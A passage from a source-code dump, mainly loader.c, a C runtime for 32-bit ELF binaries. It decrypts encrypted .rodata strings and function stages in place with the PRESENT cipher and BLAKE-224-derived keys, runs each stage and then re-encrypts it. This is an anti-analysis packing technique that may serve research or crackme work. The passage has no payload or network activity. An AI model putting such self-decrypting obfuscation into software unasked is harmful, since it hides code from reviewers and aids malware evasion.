blake224_final( &S, out ); 173 | } 174 | 175 | 176 | -------------------------------------------------------------------------------- /loader.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include "elf/elf_raw.h" 14 | 15 | #define LOG_PREFIX "[loader] " 16 | #define STRING_MARKER "_marker_" 17 | #define TEXT_OFFSET 0x1000 /* .text offset, maybe be confirmed via section 18 | info */ 19 | 20 | #ifdef DEBUG 21 | #define _log(format,args...) printf(LOG_PREFIX format, ## args) 22 | #else 23 | #define _log(format,args...) 24 | #endif 25 | 26 | extern void present_decrypt(uint64_t *, uint64_t *, uint16_t, uint64_t *); 27 | extern void present_encrypt(uint64_t *, uint64_t *, uint16_t, uint64_t *); 28 | extern void blake224_hash( uint8_t *, const uint8_t *, uint64_t); 29 | 30 | void marker(void){}; 31 | extern const char *encrypted_strings_marker; 32 | 33 | uint32_t get_fct_size(uint32_t offset) 34 | { 35 | int fd; 36 | uint32_t size; 37 | struct stat s; 38 | Elf32_Ehdr *ehdr; 39 | Elf32_Sym *sym; 40 | 41 | fd = open("/proc/self/exe", O_RDONLY); 42 | if(fd < 0){ 43 | _log("[! /proc]\n"); 44 | exit(EXIT_FAILURE); 45 | } 46 | 47 | fstat(fd, &s); 48 | ehdr = mmap(NULL, s.st_size, PROT_READ, MAP_SHARED, fd, 0); 49 | sym = elf_sym_at(ehdr, offset); 50 | 51 | if(sym == NULL) { 52 | _log("[! %08x]\n", offset); 53 | exit(EXIT_FAILURE); 54 | } 55 | size = sym->st_size; 56 | munmap(ehdr, s.st_size); 57 | close(fd); 58 | return size; 59 | } 60 | 61 | void decrypt_rodata(void) 62 | { 63 | char *b; 64 | int fd, key_length; 65 | struct stat s; 66 | long page_size; 67 | uint32_t page_mask; 68 | uint32_t rodata_esize, base_addr, current_addr, aligned_rodata, 69 | rodata_pages; 70 | uint64_t key[4] = { [0 ... 3] = 0x0 }; 71 | Elf32_Ehdr *ehdr; 72 | Elf32_Shdr *rodata; 73 | 74 | page_size = sysconf(_SC_PAGESIZE); 75 | page_mask = ~ (page_size - 1); 76 | 77 | fd = open("/proc/self/exe", O_RDONLY); 78 | if(fd < 0){ 79 | _log("[! /proc]\n"); 80 | exit(EXIT_FAILURE); 81 | } 82 | 83 | fstat(fd, &s); 84 | ehdr = mmap(NULL, s.st_size, PROT_READ, MAP_SHARED, fd, 0); 85 | rodata = elf_section_by_name(ehdr, ".rodata"); 86 | 87 | key_length = asprintf(&b, "[loader] %08x %08x", 88 | rodata->sh_offset, rodata->sh_size); 89 | blake224_hash((uint8_t *)key, (uint8_t *)b, key_length); 90 | free(b); 91 | 92 | printf(LOG_PREFIX "rodata offset=%x size=%x keys=%llx:%llx\n", 93 | rodata->sh_offset, rodata->sh_size, key[0], key[1]); 94 | 95 | base_addr = (((int) &marker & page_mask) - TEXT_OFFSET); 96 | current_addr = (int)encrypted_strings_marker + sizeof(STRING_MARKER); 97 | aligned_rodata = current_addr & page_mask; 98 | rodata_pages = rodata->sh_size / page_size + 1; 99 | rodata_esize = rodata->sh_size - 100 | (current_addr - base_addr - rodata->sh_offset); 101 | printf(LOG_PREFIX "rodata base_addr=%x current_addr=%x aligned_rodata=%x " 102 | "esize=%x pages=%x\n", 103 | base_addr, current_addr, aligned_rodata, rodata_esize, 104 | rodata_pages); 105 | mprotect((void *)aligned_rodata, rodata_pages, 106 | PROT_READ | PROT_WRITE | PROT_EXEC); 107 | present_decrypt((uint64_t *)((char *)current_addr), 108 | (uint64_t *)((char *)current_addr), (rodata_esize / 8), key); 109 | mprotect((void *)aligned_rodata, rodata_pages, PROT_READ | PROT_EXEC); 110 | munmap(ehdr, s.st_size); 111 | close(fd); 112 | } 113 | 114 | void decrypt_and_call(void *stage) 115 | { 116 | uint32_t stage_addr = (uint32_t) stage; 117 | uint32_t aligned_stage_addr = stage_addr & (~ 0xff); 118 | void (*fct)(); 119 | int ret, key_length; 120 | long page_size; 121 | uint32_t page_mask, base_addr, stage_size, stage_pages; 122 | uint64_t key[4] = { [0 ... 3] = 0x0 }; 123 | uint8_t *b; 124 | 125 | page_size = sysconf(_SC_PAGESIZE); 126 | page_mask = ~ (page_size - 1); 127 | 128 | fct = stage; 129 | base_addr = (((int) &marker & page_mask) - TEXT_OFFSET); 130 | stage_size = get_fct_size(stage_addr - base_addr); 131 | if(stage_size == 0) { 132 | _log("Empty symbol size: %x\n", stage_addr); 133 | exit(EXIT_FAILURE); 134 | } 135 | stage_pages = stage_size/page_size + 1; 136 | key_length = asprintf(((char **)&b), LOG_PREFIX "%08x %08x", 137 | stage_addr-base_addr, stage_size); 138 | if(key_length <= 0) { 139 | _log("key_length == %x\n", key_length); 140 | exit(EXIT_FAILURE); 141 | } 142 | 143 | blake224_hash((uint8_t *)key, b, key_length); 144 | _log("opening @%x size=%x pages=%x key=%llx:%llx\n", 145 | stage_addr, stage_size, stage_pages, key[0], key[1]); 146 | ret = mprotect((void *)aligned_stage_addr, stage_pages, 147 | PROT_READ | PROT_WRITE); 148 | if(ret){ 149 | _log("Is PaX around?\n"); 150 | exit(EXIT_FAILURE); 151 | } 152 | present_decrypt((uint64_t *)stage, (uint64_t *)stage, 153 | stage_size / 8, key); 154 | mprotect((void *)aligned_stage_addr, stage_pages, 155 | PROT_READ | PROT_EXEC); 156 | 157 | fct(); 158 | 159 | blake224_hash((uint8_t *)key, b, key_length); 160 | _log("closing @%x size=%x pages=%x key=%llx:%llx\n", 161 | stage_addr, stage_size, stage_pages, key[0], key[1]); 162 | mprotect((void *)aligned_stage_addr, stage_pages, 163 | PROT_READ | PROT_WRITE); 164 | present_encrypt((uint64_t *)stage, (uint64_t *)stage, 165 | stage_size / 8, key); 166 | mprotect((void *)aligned_stage_addr, stage_pages, 167 | PROT_READ | PROT_EXEC); 168 | 169 | free(b); 170 | } 171 | --------------------------------------------------------------------------------